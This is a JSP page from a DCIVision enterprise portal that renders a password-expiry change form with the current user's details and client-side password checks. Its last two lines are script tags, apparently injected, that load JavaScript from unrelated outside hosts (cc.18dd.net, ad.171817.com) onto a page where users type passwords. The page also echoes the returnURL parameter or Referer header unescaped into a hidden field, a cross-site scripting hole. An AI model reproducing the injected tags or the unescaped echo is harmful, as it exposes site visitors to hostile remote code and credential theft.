<%
/*
 * @(#)MaintUserExpirePwd.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  MaintUserExpirePwd.jsp

  This is a ListUserRecord page.  It shows the active users' record in EIP.

    @author             Scott Tong
    @company            DCIVision Ltd
    @creation date      08/07/2003
    @version            $Revision: 1.11.2.6 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="com.dcivision.framework.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUserRecord" scope="request" class="com.dcivision.user.web.MaintUserRecordForm"/>
<%
  List userGroups = sessionContainer.getPermissionManager().getUserGroups();
  List userRoles = sessionContainer.getPermissionManager().getUserRoles();
  int groupSize = userGroups==null? 0 : userGroups.size();
  int roleSize = userRoles==null? 0 : userRoles.size();
%>

<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- layout -->
<LINK media=all href="<%= request.getContextPath() %>/css/structure.css" type=text/css rel=stylesheet><!--Not Netscape 4 -->
<LINK media=all href="<%= request.getContextPath() %>/css/format.css" type=text/css rel=stylesheet><!-- Formatting -->
<LINK media=print href="<%= request.getContextPath() %>/css/printstyle.css" type=text/css rel=stylesheet><!--Print only css  -->

<link rel="stylesheet" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css">
<!-- layout -->

<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.jsp" charset="UTF-8" type="text/javascript"></script>

</head>

<script language="Javascript">
<!--
function custOpSave(frm) {
    if (!custValidate()) {
        return(false);
    }
    return OpSave();
}

function custValidate() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }
  if (frm.loginPwd.value == frm.origPwd.value) {
    alert("<bean:message key='errors.login.new_password_cannot_same_original_password'/>");
    frm.loginPwd.focus();
    return(false);
  }
  if (frm.loginPwd.value.length < 6){
    alert("<bean:message key='setup.label.pwd_min_length'/>");
    return(false);
  }
  if (frm.loginPwd.value != frm.loginPwd2.value) {
    alert("<bean:message key='errors.user.pwd_not_same'/>");
    return(false);
  }
  return(true);
}

//-->
</script>
<%
  String sReturnURL="";
  if (request.getParameter("returnURL")==null)
    sReturnURL = request.getHeader("referer").toString();
  else
    sReturnURL = request.getParameter("returnURL");

%>
<html:javascript formName='maintUserPwd' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<layout:popupTitle titleKey ="user.label.change_title"/>
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<html:form action='user/MaintUserExpirePwd' onsubmit='return(false)' styleClass="form-style-2">
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:messages/>
<table width="600" cellpadding="0" cellspacing="2" border="0" align="left">
  <html:hidden property='userLinkID'/>
  <tr>
    <td colspan="2"><b>
      <bean:message key='user.label.user_info'/>
    </b></td>
  </tr>
  <tr>
    <td class="blackLine" colspan="2"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.first_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><%=sessionContainer.getUserRecord().getFirstName()%></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.last_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><%=sessionContainer.getUserRecord().getLastName()%></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.full_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><%=sessionContainer.getUserRecord().getFullName()%></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.email'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <% if ( Utility.isEmpty(sessionContainer.getUserRecord().getEmail()) ) {
           out.println("-");
         } else {
           out.println(sessionContainer.getUserRecord().getEmail());
         }
      %>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.groups'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <table>
        <tr>
          <td>
            <% if ( groupSize==0 ) {
                 out.println("-");
               } else {
                 out.println( ((UserGroup)userGroups.get(0)).getGroupName() );
               }
            %>
          </td>
        </tr>
        <% for (int i=1; i<groupSize; ++i) { %>
        <tr>
          <td><%=((UserGroup)userGroups.get(i)).getGroupName()%></td>
        </tr>
        <% } %>
      </table>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.roles'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <table>
        <tr>
          <td>
            <% if ( roleSize==0 ) {
                 out.println("-");
               } else {
                 out.println( ((UserRole)userRoles.get(0)).getRoleName() );
               }
            %>
          </td>
        </tr>
        <% for (int i=1; i<roleSize; ++i) { %>
        <tr>
          <td><%=((UserRole)userRoles.get(i)).getRoleName()%></td>
        </tr>
        <% } %>
      </table>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.login_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><%=sessionContainer.getUserRecord().getLoginName()%></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='log.label.login_datetime'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <bean:write name="sessionContainer" property="loginTime" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/>
    </td>
  </tr>
  <tr>
    <td class="blackLine" colspan="2"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='12'/></td>
  </tr>
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="pageTitle" nowrap><bean:message key='user.label.password_expire'/>: <html:errors/></td>
          <td align="right">
            <table width="90" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td>
                  <layout:sectionHeader blackLine="false"/>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='user.label.orig_password'/>:&nbsp;</td>
    <td class="formFieldSmall"><input type='password' name='origPwd' size='25' maxlength='20'></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='user.label.new_password'/>:&nbsp;</td>
    <td class="formFieldSmall"><input type='password' name='loginPwd' size='25' maxlength='20'><font class="formLabelSmall"><bean:message key='user.label.password_requirement'/></font>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='user.label.retype_password'/>:&nbsp;</td>
    <td class="formFieldSmall"><input type='password' name='loginPwd2' size='25' maxlength='20'></td>
  </tr>
</table>
<div id="bottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="common.label.save" onClick="return custOpSave();"/>
    <input type="hidden" name="returnURL" value="<%=sReturnURL%>">
  </div>
</div>
</html:form>
</td></tr></table>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>